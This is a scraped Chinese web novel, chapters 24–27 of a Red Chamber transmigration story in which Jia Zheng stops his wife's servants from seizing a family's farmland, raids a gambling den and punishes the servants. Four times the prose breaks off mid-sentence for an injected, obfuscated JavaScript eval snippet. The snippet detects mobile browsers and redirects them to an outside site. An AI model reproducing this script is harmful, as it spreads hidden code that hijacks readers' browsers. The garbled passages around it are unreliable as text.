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贾代善冷笑,“前朝那位大忠臣废除了科举的南北榜制,致使南方士族独霸朝堂,本朝重启了两榜制,又有功勋制衡文官,南党权势被一压再压,全部指望都在五皇子身上,他突然做出割席之举,他们岂能善罢干休。” 贾赦无法理解那些人的想法,“又不是不让他们当官了,弄这些事有意思么,他们以为扶五皇子上位就能重新占领朝堂了,想什么美事呢,五皇子要是上位,头一个拿去开刀的就是他们。” 贾政惊奇的看着大哥,难怪总有人说地位决定眼界,贾赦再糊涂也是国公府的少爷,见过听过的非寻常人可比,凭直觉就能看穿很多事。 想到正处于风口浪尖的五皇子,他轻轻叹了口气,皇帝要是铁了心利用他打压南方士族,他大概很难活下来吧。 还有四王八公这些勋贵,打压下南党以后他们就成了最大的威胁,当今碍于名声不会对功臣出手,反而会放纵他们结党营私,包揽诉讼,弄得朝堂民间怨声载道。 等到下任皇帝登基,只要铲除功勋世族这些毒瘤,便能震慑朝堂,稳固皇权,帝王心术之诡谲可怖,让贾政狠狠打了个寒颤。 24. 第二十四章 声讨 圣寿节假期结束,贾政再次提着小书包上学去,这回小厮也不能回家歇着了,而是要在附近巷子里守着,防止他再玩失踪。 贾政吭哧吭哧往国子监里面走,在心里安慰自己不要着急,才穿来一个月,对红楼世界和朝堂都一知半解,凭他自己想谋官职只能慢慢来,相信总会找到机会的。 他哄了自己一路,勉强才没转身而逃,接近教室时也不知谁喊了句贾政来了,一群同学呼啦啦跑了出来,其他教室也出来很多人,全都目光不善的瞪着他。 “淡定。”贾政连退几步,不明白这群人为啥用吃人的眼神看自己。 “淡定个鬼。”柳节怒喝,“你小子逃个学弄得满城都不得安生,孔祭酒差点吓死,刚才下了新规定,所有学生上课时间一概不许离开国子监,我们要被关在这屁大的地方待一天啊,还不如去坐牢。” 贾政干笑,难怪寿宴上孔祭酒总躲着自己,原来是被吓出应激障碍了。 戚建辉好想抱头尖叫,跟满院子废纸和书呆子关在一起,他会疯掉的。 谢鲲是几个朋友中最有主意的,这会儿也快哭出来了,“贾政你进来时没看到么,守门的监卫多了一倍,以后辰时关门酉时开门,还派监卫沿墙巡逻,连爬墙的机会都不给我们留。” 西堂这边都是各家送来的纨绔子弟,就没几个愿意读书的,纷纷声讨贾政,也有大骂国子监不是东西的,正不可开交时,从东堂又跑过来一群人。 不等接近,跑在最前面的人就大喊,“哪个是贾政?” 贾政愣了下,原身和他都没接触过东堂的同学,除了林如海和吴天佑,他谁也不认识,找他做什么? 不等贾政做出回应,周围的大半同学都用手指向他,脸上全是幸灾乐祸,等着看好戏的表情。 贾政上前两步,刚要问找他何事,就被来人嗷唔嗷唔喷了一脸。 “贾政你个伪君子,为富不仁,欺压良善,逼死人命你会遭,呜呜……” 贾政一手捏住他的嘴,一手拢住胳膊,把人制住了才问追过来的林如海,“这人是怎么回事?你们不逃学也会憋死吗?” 林如海哭笑不得,“二哥快把人放了,他是遇到了不平之事才会如此激动的。” 二舅兄的臂力他可领教过,赵同学比自己还瘦弱,哪经得住他的压制。 贾政把赵同学的身子搬正,直视他的脸,沉声道,“有事就说事,把来龙去脉都说清楚,我们同窗之间言语不当没人挑你理,日后朝堂奏对,你也是这样张嘴就骂人吗?” 赵同学被制住时就冷静下来了,他刚才是气昏了头,才敢怒喝国公府的贵公子,此时哪里还敢有大气。 见他点头表示明白了,贾政这才放开手,询问究竟发生了何事。 赵同学定定注视着贾政双眼,问道,“赵家庄的事,你可知晓?” “赵家庄?有点耳熟,想不起来在哪里听过。”贾政想了下,摇头表示他只听说过这个庄子,并不知道发生了什么事。 赵同学深吸口气,压下怒火缓缓道,“我家族叔住在赵家庄最东边,他有个不成气的小儿子,在赌场赌输了钱,把家里的十五亩上等田压在了赌场。我族叔拿出毕生积蓄去赎,哪知赌场收了赎金却不肯还欠条,刚才还有伙人去收地,打头的说欠条在荣国府手上,以后我族叔家的地就归荣国府所有了。我就来问问你,你家是缺那十五亩地吗?” 西堂这边的同学都听懂了,这哪是荣国府欺压良善,分明是奴才仗着主人权势强占良田,功勋士族之家这种事太常见了。 贾政气到发抖,不用想也知道是王氏派人干的,欠条他已经烧了,且人家也还了欠下的赌债,王氏居然还敢派人去强抢民田,打的还是荣国府的名号,珠儿怎么会摊上这种母亲。 他拉住赵同学,“走,我的车就在外面,这就去赵家庄,我倒要看看是哪个混账敢打着荣国府的旗号抢劫,我家不能顶上纵奴作恶,强占民田的罪名。” 林如海和谢鲲都上前给他拍背顺气,吴天佑劝道,“莫气莫气,奴才行事不端,抓回家打一顿再卖掉就完了,何苦气着自己。” 冯唐也道,“我也有车,我们一起过去。” 还有几个有车的同学也跟了来,也有骑马来上学的,一行十几个人出了国子监,穿过安定门往北郊而去。 贾政拉着林如海上了自己的车,他把发现欠条的经过说了一遍,叹道,“可怜珠儿没摊上个好母亲,如海啊,以后要麻烦你和小妹多看顾教导那孩子了。” 林如海笑道,“我家向来缺孩子,既二哥这么说,那我就把珠儿当亲儿子了。” 贾政也笑了,“好啊,如海你这样的饱学之士可不是谁都能遇到的,我巴不得你多带带那孩子。明年春闱过后,你肯定会在翰林院待上几年,正好有空给珠儿启蒙。” 林如海闷笑,“谁能保证一次就高中的,二哥你这铁口直断的样子可不能让外人看到。” 贾政拍着林如海肩膀,“我敢保证,你肯定能高中,要对自己有信心,读书之余也不能忘记锻炼身体,可别累病了。” 林如海笑眯了眼,心里暖暖的,他是独生子,族中也没有同龄亲近的兄弟,从未体会过手足之情,难怪老爷总说订下贾家贵女是林家之幸,还是老爷有眼光。 他们乘车骑马,城外二十里转瞬即到,村东头两伙人还在拉扯不清,周围看热闹的人发现一队车马直奔这边而来,立即出声提醒,快要打起来的人这才分开,齐齐看了过来。 周瑞一眼就认出了贾政的骡车,吓得脸都白了,二奶奶早嘱咐过这件事要避开二爷,二爷是怎么追到这里来的? 松烟和松绿坐在车辕上,看周瑞几个吓的那样,差点狂笑出声。 二奶奶带来的几家陪房就没一个省事的,在外头伏低作小巴结太太的人,活像条哈巴狗,回院里就吆五喝六的欺负他们,这回就看二爷怎么收拾他们吧。 贾政下了车,抓过柳节手上的鞭子,劈头就把周瑞抽倒在地,其他人没想到二爷会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900605|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上来就动手,吓得跪在地上一声不敢吭,生怕鞭子落到自己身上。 贾政懒得搭理他们,看向对面的一群人,问道,“请问哪位是此地主人?” 为首的是一家五口,夫妻俩扶着老父亲,还有两个五六岁的小娃娃,见贾政上来就打人,他们也吓得一声不敢言语。 赵同学走过去扶住老者,笑道,“族叔不要怕,这位是荣国府的二公子,专程来收拾这帮恶徒的。贾同学,这位就是我族叔,是他家老二欠赌债抵押了田地,上个月他病故之前说了欠债的事,钱是全族人帮忙凑出来的,已经还给赌场了。” 站在老者身边的人纷纷出声,确认赵同学所言不虚,赌债是赵家人凑的,也是他们一起去还的。 赌场收了钱却说欠条不在他们手上,报官也无人理会,正不知如何是好呢,就来了一伙抢地的,连欠条凭证都拿不出来,瞪眼就说地是荣国府的。 贾政低头盯着周瑞,“是你主子让你们来的?” 周瑞被抽得半边脸眼瞧着肿了起来,听到问话,下意识就要摇头,看到贾政手上的鞭子,他不敢再说谎了,垂头道,“是,是主子吩咐的,赌场和县里主薄那边都说好了,带个赵家人过去画押,地就是我们家的了。” 贾政点头,“还有赌场和县主薄的事,她安排得倒挺周详,松烟,取纸笔来。” 松烟答应一声,从车上抽屉里拿出宣纸和笔墨,贾政就在车辕上写了张声明,言明赵家欠银已结清,有疑问可去荣国府找贾政。 写完落上自己的小印,将之交给赵家人,道,“老丈节哀,这几个奴才我这就带回府料理,保证不会再让他们骚扰贵府了。” 老者父子感谢不迭,赵同学也拱手向贾政道谢,虽然经历了一场灾祸,能彻底了结此事也算幸运,有了贾政亲笔,从此再没人敢觊觎族叔家的良田了。 告别赵家人,一行人又往城里去,这件事还不算完呢,县里的主簿是官身,只能交给家里大人收拾,他们的目标是那家赌场。 没有欠条还敢强收赌债,而欠条却是从国公府的奴才家里搜出来的,这里面的问题肯定小不了,他们家的奴才指不定也跟这家赌场有关系。 贾政骑着周瑞的马,越想越气,谢鲲走在他身边,好笑道,“谁家还没几个糟心的奴才了,收拾了就完了,有什么好气的。” 贾政指着马道,“家里就这几匹战马,老爷眼珠子似的看着,我碰一下都不准,几个奴才就敢骑出来,我连奴才都赶不上了。” 谢鲲叹道,“我家也差不多,祖母跟前的猫狗都比我矜贵,奴才还敢当面给两个庶妹没脸,要是认真跟他们置气,早就气死了。” 庶妹?贾政这才想起他家也有三个庶出姐妹呢,长姐和大哥一同长大,感情十分亲厚。 二妹小他半岁,三妹小两岁,也是自小养在一处,原身只对小四岁的嫡亲妹妹还算疼爱,另外两个只有当着老爷的面才装好哥哥,还拦着贾敏不准跟她们亲近,连嫁去了哪里都没关心过。 25.第二十五章 逼问 贾政有点傻眼,两个妹妹与他同父异母,是同出一脉的至亲,比宁国府的贾敬父子还要亲近,因为人家母亲是奴仆,就不把人家当妹妹看,原身也忒不是东西了。 只是原身冷待人家二十来年,他突然示好也只会引来警惕和反感,贾政无奈摇头,一本烂账啊。 “政兄不必发愁,有何疑问抓住赌场里的人审问便是,那等藏污纳垢之地背后牵涉的人多着呢,只要抓住他们的小辫子,不愁不老实交待。”谢鲲让贾政想开点,谁家还没点子烂事了。 贾政肚子里的邪火退去,又开始担心起来,“要是牵连太广,问出不该知道的事,可如何是好?” 柳节哈哈笑道,“这京里还有我们不应该知道的么,就算问出亲王府的人与赌场有关系,顺亲王也只有感谢我们的。” 贾政也跟着笑起来,原来这就是帝国顶级贵族,官N代的世界,把虞朝比作一家大集团的话,他们就是合伙人和高级主管的家人,只要不造反,就没什么事是不能干的。 来到周瑞指认的赌场门前,此时还不到开业时间,众人可不管那个,上去几脚就把大门踹开了。 赌场护卫拿着棍棒冲过来,看到踹门之人一水的监生服,立马就麻了,放下手里的家伙什,讪笑着退到一边。 在京都里混,有眼力见的才能保住小命,国子监的学生会在上课时间到处晃的只有恩荫的大少爷们,家里最低也是正四品往上,哪个都不是他们能得罪的。 赌场老板也快速迎了出来,走到近前就跪下磕了两个响的,点头哈腰请他们去里面坐,又让伙计上茶,请姐儿们出来接待贵客。 贾政抬手制止,“不用忙了,我们就是来问问,城北赵家庄是怎么回事。今早赵家人找上荣国府,说是在贵坊输了田产,还上欠银后却来找我家管事要欠条,你能告诉我这其中的缘故么?” 赌场老板是个红脸壮汉,目测身高至少一米九,却被贾政几句话问得额头渗出汗珠。 随后出来的美艳妇人也变了脸色,大概猜到面前的小公子是谁了,这可是走丢几个时辰就能让所有衙门全城搜索,吓得黑白两道噤若寒蝉的小煞星。 见贾政目光犀利,紧紧盯着自己,老板讪笑道,“那,那欠条是贵府管事在我们场子赢去的,我们不过是代收欠银,已经跟赵家人说好,回头就拿银子去府上把欠条赎回来,没想到那家人会这么心急,给府上添麻烦了,小的这就把欠银双倍奉上,请公子别跟我们这些粗人一般见识。” 贾政也笑了,“老板是说,你和我家管事相交已久,熟悉到无需凭证就能银钱来往了?” 赌场老板点头如捣蒜,“当然当然,陈管事是我们场子的老主顾了,我们熟得很。” “哦,那老板可知,荣国府第一禁忌就是赌博,子弟参赌者罚三十大板,奴仆参赌者全家发卖。”贾政冷笑,“依老板之见,我家那管事卖到哪里才合适啊?” 赌场老板的红脸吓成了白脸,呐呐道,“怎,怎么能卖呢,贵府,贵府……” 贾政笑道,“确实,堂堂国公府,只有买人的,哪有卖人的,但参赌成性之人要是不受惩罚,身为主人就不能服众了,不如这样吧,老板拿着账本随我走一趟,当着全府奴才的面把管事参赌的情况念一遍,然后再把他们一家子打死,以儆效尤,你觉得怎么样?” 赌场老板的脸色更白了几分,冷汗像下雨一样,万分后悔不应该贪那百十两银子。 贾政佯装不耐烦,嗤笑道,“老板为人忒不爽快,那不如我们玩把大的,小爷我出门喊两嗓子,说老板要绑架我,让顺天府和五城兵马司一同来办你,这样才够刺激,你说是不是?” “不不不,小的们错了,小的听从公子吩咐,这就去跟赵家人赔罪,陈管事还有银子存在我这里,都交给公子了。”赌场的人快吓死了,进了顺天府大牢哪里还能有命在。 贾政冷哼,“把你们赌场的所有账本都拿出来,尤其是与赌客的交往名册,要是再让我查出还有没交待出来的,虞朝再大也没有你们的容身之地。” 见老板还在迟疑,柳节和谢鲲上前,一左一右把他架起来,笑道,“乖,交出来就没你的事了,收拾铺盖即刻出城去,否则就等着顺天府的人来抓你们吧。” 赌场老板不敢相信这群小祖宗会放过自己,正犹豫时,忽然听到后面有人尖叫,“走水啦,库房走水啦!” 老板啊呀一声,“账本都在库房里。” 林如海也叫道,“放火的才是大鱼,不能让他跑了。” 柳节几个武力值担当托着老板冲向库房,林如海他们去街上叫人来帮忙。 贾政跟在老板后面,上辈子清剿过的地下场所没一百也有几十,很快就找到后门所在,跑过去一脚踹开,把外头正要上驴跑路的老头按倒在地。 火光和浓烟很快就把五城兵马司和顺天府的衙役吸引过来,古代大多是木制建筑,走水是极其重大的安全事故,不及时扑灭可是要掉脑袋的。 救火时发现勋贵大员家的少爷们也在这里,领头的差点吓死,派人飞马去请老大,他们可招架不住这些人。 听说火情是一群大少爷引起的,京营节度使牛大人和顺天府府尹吴大人气得无语凝噎,快马跑到现场,不等从马上下来就要骂人。 贾政他们可不想挨骂,你一言我一语的把事情交待清楚,再把抢救出来的账本交给衙役,赌场众人和放火的老头往两人跟前一推,堆出讨好的傻笑求放过。 两位大人对视一眼,若真是如此,还真不好骂他们了,为百姓惩罚恶奴,查找根源,怎么也不能说孩子们做错了吧。 吴大人从衙役手上拿了一册账本,翻开头一页就是两眼一黑,立马又合上了。 他瞪了吴天佑一眼,喝道,“滚回国子监上课去,再敢淘气就让你爹抽你。” 吴天佑对伯父做了个鬼脸,根本不带怕的,逃半天课就能结交这么多勋贵子弟,祖父和父亲夸他还来不及。 牛大人苦笑着摇头,“这几个要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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贾政把茶盏重重放到桌子上,怒道,“王氏,能说说你是怎么想的吗?区区十五亩地,你居然都不放过,家里是少你吃还是少你穿了?你的嫁妆有几万银子,够平常人活几辈子的,还眼馋肚饱的从蚊子腿上抠肉,你的脑子除了银子和占便宜,就不会想点别的吗?” 王氏泪如雨下,哭叫道,“爷这是什么话,不过一家子破落户,占他几亩地怎么了,爷竟然为了外人教训我。” 贾政气得想打人,“人家有田有地,好好的大虞百姓,怎么就破落户了,我贾家从前连一亩地都没有,你要是嫌弃,我这就送你回王家,带着你的银子给我滚蛋。” 王氏这次是真被吓住了,掩面痛哭不敢再说话,周氏也知道哥哥带人去收田了,生怕贾政不顾及情分处罚哥哥,换了盏茶送上来,娇笑道,“爷,消消气,二奶奶……” “滚!”贾政挥手打掉她手上的茶盘,“松烟你们进来,把这院里二奶奶的陪房都给我绑了,王氏,现在你有两个选择,要么舍了你的爪牙,要么我把你们都送回王家,你自己看着办。” “哎哟,我听说你回来了,刚进门就大动肝火,又是封府又是拿人的,这是怎么了?” 26.第二十六章 处置 贾母正在翠香堂哄贾珠玩儿,眼见大孙子越长越像贾政小时候,身子也养壮了,她又动了把贾珠接到自己房里的念头,得空就陪他玩儿一阵,让孩子尽早适应自己。 听说贾政被五城兵马司的人送回来,贾母这个心累,别人家的孩子都是越养越省心,自家这个怎么就越大越会惹事呢。 她刚要命人把贾政叫来,又听人报说二爷进府就下令封门,正让人抓二奶奶的陪房呢,他自己往东跨院去了。 贾母吓了一跳,命赖嬷嬷多叫些人手,跟她去东跨院,生怕儿子吃了亏。 刚走进王氏的院子,就听见儿子嚷着要休妻,她赶忙出声阻止,贾史王薛四家是一同打下基业的同乡,亦是互为膀臂的姻亲,哪能轻易得罪。 贾母在丫头的簇拥下走进屋里,以眼神喝退抖绳子捆人的松烟几个,笑道,“哪家夫妻年轻时不拌嘴,也没见谁就此一拍两散的,生气的时候吵得鼻子不是鼻子,眼睛不是眼睛的,回过头来还不是得低头赔罪,情分也伤了,脸面也丢了,何苦来的,都消消气吧。” 贾母说完就拉着贾政出去了,临走前还不忘对王氏使眼色,让她先在院子里待着,等贾政这股子邪火退下去再说。 王氏被贾政吓个半死,再愚蠢强硬也明白这次是真把丈夫得罪狠了,见婆婆赶过来打圆场,她从没像现在这样感激,婆婆把贾政带走就没自己的事了,只等她把人劝住,这件事就算遮了过去,至于陪房是什么下场,只能以后再说了。 贾政走前也对松烟几个使眼色,让他们守在院外,不能放一个王家人出去,即便休不掉王氏,也要把她身边的人全部拔除,让她再无法把手伸到东跨院以外。 两人来到翠香堂,抱起带着奶香味的儿子,贾政的气才消了些。 贾母瞪着儿子,嗔道,“你只知道心疼珠儿,怎么就不想着给他母亲留份颜面,有个被休的母亲是什么好名声么,以后别说为官做宰了,出门就得被人笑话死。” 贾政冷笑一声,“还为官做宰呢,让王氏这么祸害下去,我们荣国府的名声就要臭不可闻了。” 他把今天发生的事全都说了一遍,贾母听得目瞪口呆,不敢相信王氏会这么蠢,看中人家的地就直接派人去抢了,哪怕给几两银子呢,也不至于弄得这么难看。 “我儿受苦了。”贾母也不知道说什么才好,给儿子找了个蠢货媳妇,是他们当父母的过错。 “那什么,以后王家陪房就送到王氏陪嫁的庄子上好了,出了这样的事,王家也不好说什么。对王氏身边的丫头却不好苛责太过,里面还有你的通房呢,就让她们陪着王氏吧。” 贾政叹气,最好的结果也就这样了,古代结亲结的是两性之好,除非王氏犯了让贾家夺爵罢官的大罪,否则想休掉她是没可能的。 再者也正如太太说的,总要为珠儿想一想,母亲被休弃会让他一辈子抬不起头的。 晌午过后,贾代善和贾赦都回来了,王氏闹的那一出已经举朝皆知,贾赦心疼弟弟,听到消息就立即请假回来看贾政。 贾代善则是愧疚,当初定亲时只想着贾王两家的利益,却忘了考察儿媳妇的性情,就王氏这贪得无厌的德性,别说给儿子当贤内助,不给他丢脸惹祸就算不错了。 贾代善把兄弟俩叫到外书房说话,听了贾政对王氏陪房的处置,他含笑点头,“外面的事你处置得很好,归还田产缉拿恶仆,连祸根也一并找出来交给官府处置,虽是率性而为,在外人看也知我贾家的风骨不俗。” 得意过后,他又想到小儿媳,叹道,“家里的事我们关起门来慢慢处理,先剪其党羽,再安排几个老成的嬷嬷跟着她,再不准她接触家里和外面的事就行了,看在珠儿的面子上,也不能对他母亲太过苛责。” 贾赦心疼贾政受的委屈,对弟媳又不好说什么,只能把火撒到赵家人身上。 “那赵监生也太不给人留情面了,有什么事不能背着人再说么,一介草民竟敢当面给我们没脸,可见他是个不知厉害的。” 贾代善两眼一瞪就要教训,贾政赶忙接过话头,“人急造反,狗急跳墙,赵家快要被逼到绝境了,哪里还能顾及到旁人的脸面,要不老话怎么说凡事都要留一线呢,再温驯的东西被逼急了也会跳起来咬人的。” 贾赦想起祖母也经常教导他做事不能做绝,凡事留一线的道理,再想到内务府大小官员和管事的行事,其圆融干练令人折服,又想到要是自己遇到今天的事又该如何处理。 贾代善见长子神情凝重,显见是听进去了,他大喜过望,长子懵懂又霸道的性子是最让他头疼的,若是能经由此事有些长进,也算因祸得福了。 父子三人敲定了对王家人的处置办法,继续紧闭府门,调查家里和他们有牵扯的下人,全都找出来,一并送到庄子上去。 贾政抽空把制作鸡米花和鸡柳的步骤写出来,拜托小妹帮他多做些,明天带去国子监给朋友们添个零嘴。 西堂的同学因他之故被困在国子监,今天朋友们又帮他出头解决麻烦事,回去还指不定怎么挨骂呢,总要有所表示才行。 国子监又不能吃酒宴乐,闲得五脊六兽时还有什么是比零食更能抚慰心灵的。 贾敏拿到食谱,对丫头们笑道,“二哥这是打哪里看来的,枯茗还能用来调味吗?挂面糊裹蛋液再沾干馒头渣,然后分两次炸熟,这种做法倒是别致。” 大丫头柳青笑道,“或许是二爷在别处吃到过,觉得好吃才把方子记下来的,我们照着试试呗,这些天姑娘进的越来越少,或许新吃食能对胃口呢。” 逐云也打趣道,“听松烟说,我们姑爷也苦夏呢,姑娘可得上心些。” 贾敏又羞又恼,嗔道,“就你贫嘴,巴不得我快点嫁出去,你好和松烟双宿双飞是不是。” 逐云也红了脸,被柳青几个好一通打趣,主仆说说笑笑的往内厨房去了。 皇上也在宫里说这件事呢,听说那群猴儿们又闹出事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912392|176606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,他也不午歇了,把知情的国子监孔祭酒和京营节度使牛大人传进宫,让他们把前因后果讲给自己听,当个乐子打发时间。 孔祭酒从早上就盯着西堂,生怕那群纨绔因不满新规闹出事来,因此把赵同学找上贾政的经过看个全场,要不是他允许,贾政他们也不能畅通无阻的走出国子监。 牛大人和吴大人正为搜出来的账本头疼,接到皇上召见,干脆把最重要的几本带进宫,请皇上裁夺。 两人一个说头,一个说尾,把今天上午发生的事讲了一遍,皇上边听边笑,“不错不错,都是好孩子,一转眼下一代也都长起来了,先前还发愁他们年轻跳脱难以重用,遇到突发情况处理的也算不错么。” 孔祭酒摇头,“还是过于轻浮急躁了,要不是顺天府和五城兵马司救援及时,险些引发大火。” 牛大人苦笑,“救个火倒没什么,那赌场牵扯出来的人才叫吓人,陛下还是看看搜出来的账本吧。” 皇上啧了声,“哎,我就听个乐子,怎么还牵扯出别的事来了,还不如歇午觉呢。” 牛大人把账本交给内相苏诚,以眼神示意孔祭酒做好准备,老大人年纪一大把了,可别被皇上的怒火吓出个好歹来。 哪知皇上翻完账本后非但没生气,反倒哈哈大笑,“那几个猴儿立大功了,我正愁找不到这些人,因为十五亩地他们就主动送上门了。牛节度,命你协助吴府尹,再加上通政司的薛主事,联手审讯赌场众人,尤其要细审放火之人,把他们背后牵扯的人全部找出来。” 牛大人躬身领命,孔祭酒也跟着退了出来,拱手告辞后像踩着风火轮似的往外走。 虽然不知道账本里写了什么,看皇上的反映就知道牵连的人都不简单,之前他下令封闭国子监只是一时气愤,这次是真要把那群猴子看住了,再闹出事来就不是哈哈一笑能躲过的。 贾政还不知道苦日子要来了,处理完王氏陪房,晚上全家一起品尝贾敏炸出来的鸡米花和鸡柳。 自家做的用料新鲜又扎实,外层金黄酥脆,里面的鸡肉软嫩多汁,还有股从未吃过的鲜香味道,好吃到一口接一口,根本停不下来。 贾母笑道,“这股子香味从没尝过,政儿,你是在什么地方吃的,怎么不早写出来给我们尝尝。” 贾政哪能说是上辈子吃的,只能摇头道,“我是在南边的书里看过,觉得新鲜就记住了,能这么好吃全凭小妹的手艺好。” 贾敏哼了声,“拍马屁我也不原谅你,这么好吃的做法,要答谢外人时才想起来,我都苦夏多久了,二哥你也不关心我。” 贾政只能傻笑,谁让新身体的体质太好了,不管多热的天也能吃能睡,他都忘了还有苦夏这回事了。 贾珠躺在他身后的软榻上,听到老爹笑了,他也啊啊几声。 大家回头去看,就见他指着桌子上的炸鸡肉直抽小鼻子,小嘴一张口水就哗啦啦流出来,小馋猫的傻样把全家逗得哈哈大笑。 27.第二十七章 无语 贾代善走过去抱起大孙子惦了惦,笑道,“跟政儿小时候一样压手,赦儿和敏儿这么大时都有些瘦弱,三五个月总得病一次,我还当珠儿也会这样,没想到竟养得这么胖。” 贾赦眼圈微红,没想到老爷还能记得自己小时候的样子,连多久生一次病都知道。 贾母抽了下嘴角,越发看不上小儿媳了,以前珠儿是王氏养着的,虽瘦小些,她也没多想,谁能想到都当母亲了还不会养孩子呢。 看着伸着小胖手,一个劲儿往桌子上抓的珠儿,她又笑道,“政儿小时候也是这样,看我们吃东西就馋得不行,连老爷行军带的肉松他都吃,拌在米粥里能吃一小碗。” 贾敏好奇道,“肉松是什么?” 头次听说肉和松两个大俗大雅的字还能放到一起,千金小姐实在想不出是什么东西。 贾代善见长子和女儿都很疑惑,小儿子却满脸跃跃欲试,不由笑道,“肉松为行军方便制作的军粮,将肉烘干再磨成细丝,因形似干燥的松针,因此才叫肉松。那东西又腥又絮,平时谁会想到吃那个,政儿你该不会还想吃吧。” 贾政笑道,“肉哪有不好吃的,军队是为了省事,只用清水去煮,连血沫子都不撇干净,可不腥么。小妹你可以试一试,把瘦肉切成大块,先抄水,再用卤肉的香料卤熟,最后撕成细丝炒干,就不会有腥味了,封在罐子里,没胃口时拌白粥喝一碗,好歹能把肚子混饱了。” 贾敏听了,也有些跃跃欲试,“全用瘦肉应该可行吧,至少不会油腻腻的,先卤熟再炒干,卤料加上肉香,味道再差也是有限的。” 贾代善笑道,“只去腥增香这一点就值得试试,行军时吃的干饼子本就磨嗓子,再加上腥毫毫的肉松,想起来都反胃。明儿让采办送瘦肉进来,敏儿和老大家的卤几斤,要是好吃就把方子交到军里去。” 贾敏和石氏起身应下,贾珠却因为够不到香香的鸡柳破防了,指着贾政大哭,控诉老爹欺负自己。 全家大笑,奶娘赶忙上来抱他回去吃饭,可怜的小娃娃下牙才长出来,享用美食还早着呢。 贾母笑道,“珠儿也该加辅食了,胭脂米熬出米油,绸绸的拌上肉松,政儿小时候就是这么吃大的。” 用过晚膳,各人都回到自己房里歇着,贾政抱着珠儿回到翠香堂,新提上来的一个小幺儿来报,新吃食已经给东跨院送过去了,二奶奶吃了几口就散给了丫头们,周氏听说哥哥全家都要被送去庄子上,饭也不吃了,一直在哭。 贾政摆手,“想哭就让她哭去,你们只管守紧那院子,一个不许放出来。” 之前他是受到原著影响,以为周姨娘是个不争不抢,老实本分的姑娘,不忍看她蹉跎一生,还打算给她找个好人家嫁了。 现在再想,周瑞的妹妹,王氏使唤出来的人,又能是什么好东西,以后就让她待在王氏身边,可别出去祸害人了。 次日,天还没亮,就有十辆大车从荣国府角门出来,城门刚开就出了城,直奔贾家在城郊的庄子。 车上是王氏的七家陪房,以及两家和他们交情深厚的贾家老仆,除了王氏身边的一个通房和六个丫头,王家陪嫁的所有人都被送出了荣国府。 贾代善和贾母昨天就下达命令,二奶奶的话一律不许出她的小院,内外管事,幕僚和文书相公,谁再敢替她做事就一律打发出去。 贾母又提了老仆李平家的当东跨院的内管事,吩咐她二奶奶的日常供给一切如常,只不亏待了王氏便罢了,不能再让她接触家里家外的事,要是败坏了荣国府和贾政的名声,相关的人她一个也不会放过。 李平家的快四十了,只得了松茗这一个孩子,因贾政照顾身边人,她在婆家的日子才好过了些。 这几日娘家侄孙又提到贾政身边,她一腔忠心正无处可表,接了贾母任命,只用一夜便将东跨院诸事理顺,一早又去翠香堂向贾政请安,安排人专管内厨房送来的几个大食盒,做事十分利落。 贾政坐在青油车上,心中感叹女子在古代生存艰难,像贾平家的这样爽利又能干的女性,要是生在他上辈子,肯定能在社会上找到自己的位置。 可是在红楼世界,她连自己的名字都不配拥有,为奴为婢还要对剥削者感激涕零,也太惨了点。 松茗是贾政近身小厮中年纪最小的,听说母亲被提为内管事,他从昨晚傻笑到现在。 发现贾政在无声叹气,他立即紧张起来,呐呐道,“爷,我母亲会管好我们东跨院的。” 贾政愣了下,摇头道,“太太挑的人还能差了,我是为别的事发愁,你擦下嘴吧,都带上幌子了。” 松茗抹了下嘴角,看到掉在前衣襟上的馒头渣,呵呵笑道,“鸡米花太好吃了,老爷和太太命厨房多炸些,分给亲戚和同僚,昨儿采办上连夜买了几十只鸡,还把后街那家药房的枯茗给包圆了,内厨房调了外院粗使的婆子拔了一晚上鸡毛。” 贾政好笑道,“再好吃也不能当正餐,当心吃了太多油会拉肚子。” 下人肚子里都少油水,吃油炸的东西可不香得很么,万一吃成喷射战士就没法收场了。 骡车到达国子监,正赶上人最多的时候,各种车排出老远。 贾政不想搞特殊,命赖大排在队尾,等不多时林如海的车也到了,他上了贾政的车,好奇问道,“二哥怎么带两辆车来了?” 贾政笑道,“离休沐请酒还远着呢,就带了两样零食请你们尝尝,从南边学的新吃法,待会儿你拿一提盒请东堂的同学们也尝个鲜吧。” 林如海苦了脸,“这么热的天,难得二哥还有兴致弄吃食,我待东堂的同窗们先谢了。” 贾政打量他好像又瘦了些的脸,担忧道,“不是,你还苦夏呢?家里找不到能入口的东西吗?” 林如海摸了下脸,“又瘦了吗?唉,我已经尽量吃了,问题是天气一直这么热,实在有心无力。” 贾政笑道,“敏儿也苦夏,昨儿炸完鸡柳可吃了不少,你试试看,喜欢吃就打发人来家里取方子。敏儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 